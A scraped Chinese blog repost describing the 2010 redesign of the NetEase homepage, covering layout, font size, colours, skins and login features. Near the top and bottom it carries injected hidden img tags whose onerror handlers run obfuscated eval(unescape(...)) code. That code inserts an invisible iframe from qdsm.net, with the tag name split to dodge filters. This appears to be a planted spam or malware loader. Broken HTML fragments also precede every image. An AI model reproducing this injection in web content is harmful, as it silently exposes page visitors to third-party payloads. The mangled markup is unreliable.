网易首页新版上线(组图) - 投资理财- hyenas - 和讯博客
网易首页新版上线(组图) [转贴 2010-02-10 16:18:22]   
网易首页新版上线(组图)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

新版,文章页,。本次改版从整体到细节都有一个质的飞跃,新版继承了网易一贯简约、大气、包容的设计品质,达到以用户为中心提高用户体验、促进频道发展的改版设计目的。

1,字号变大

为了适应网友日益增加的显示器分辨率需要,网易首页主体内容区的字号,由12号变大为14号。

2,分栏比例的改进:

新版网易首页栏宽比例调整,用户更容易从左栏获取完整信息,提高阅读感受。资讯板块更适合高 效阅读体验,左、中两栏呈现网易门户资讯内容,版式设计体现新闻资讯"通透"浏览原则,更显大气舒适,文字标题长度适中,用户可在"由上到下"高效阅读新 闻标题时,获得{jj0}的浏览体验,满足"快而准"获取信息的需求。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img2.cache.netease.com/cnews/2009/10/9/20091009141040824cb.png" border=0>

(上图为新版网易首页分栏图例)

3,页面设计细节的提升

新版页面用色更加柔和,页面细节处理更加到位,提高页面品质感,为用户提供更舒适的阅读感受。

页面头部按不同功能,字体使用不同颜色,网易产品区使用灰色字体,频道入口使用深灰色字体,广告区使用蓝色字体,头部信息区分清晰。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img2.cache.netease.com/cnews/2009/10/9/20091009141129e048d.png" border=0>

(如图)

文字链颜色方面更由原来的纯黑色、蓝色改变为不刺眼的深灰色,使用户驻留页面长时间不疲惫。

底色运用更加合理,左栏中栏使用白色底色,右栏使用浅蓝色底色,从颜色上区分功能区,更方便用户搜寻页面信息并形成区域内容认知。

页面区块边框统一采用直角设计,更显网易门户气质,页面设计统一、专业、xx。

网易产品入口重新设计排版,新的icon设计提供更佳的标识感与用户体验;一行三个产品入口,提高使用快感,免除频繁换行的顿挫感。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img2.cache.netease.com/cnews/2009/10/9/2009100914133331670.png" border=0>

(如图)

4.内容布局的改进:

内容与广告布局更加明晰,新版网易首页从分栏布局上对内容和广告进行了优化,左栏中栏以频道内容为主导,右栏以广告为主导,这样改善后用户在左栏与中栏可享受阅读"纯粹"内容资讯并有利于内容搜索。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/2009100914183459c4d.png" border=0>

(博客位置示例)

5,功能的改进:

a.通行证登录区-新增登录后产品选择功能

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img2.cache.netease.com/cnews/2009/10/9/200910091433459d311.png" border=0>
(登录前状态)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/200910091424293dfc8.png" border=0>0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/20091009142506d64c5.png" border=0>

(登录后状态,点击用户id可直接进入各网易产品)该功能的设置,极大方便了用户进入网易各个热点产品。)

b.手机网易网入口-3g新体验

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/2009100914265636485.png" border=0>

顶部导航新增"手机访问网易"体验功能,紧贴移动互联网技术发展,为用户介绍更方便的上网体验,用手机上网易,随时随地体验畅快的信息阅读。

c.页面颜色选择-新增换肤功能

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/200910091434585a352.png" border=0>

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img2.cache.netease.com/cnews/2009/10/9/20091009143526efde9.png" border=0>

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/20091009143607477f7.png" border=0>

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img2.cache.netease.com/cnews/2009/10/9/200910091436230d383.png" border=0>

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://img1.cache.netease.com/cnews/2009/10/9/200910091436400b35b.png" border=0>

舒适的颜色方案,能使用户有一个愉快的阅读体验,一种"耐看、舒适、稳重"的颜色会符合我们的状况。新版首页增加了换肤效果,我们在众多的色彩中选取"经典蓝、桃红、新绿、咖啡、烟灰"做为换肤颜色方案。

d.xx用户的意见-用户体验提升计划用户体验提升计划(页面左下角链接)的启动,架设起用户和产品之间桥梁,把用户的声音传递给产品设计者。

6,新版文章页

在网易首页新版上线的同时,文章页的优化也推出。新版文章页更加流畅、明快,重点区域突出。并且重新调整了右栏推荐区域的规划,通过层叠的方式,为用户展示最有价值的内容。



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【网易首页新版上线(组图) - 投资理财- hyenas - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——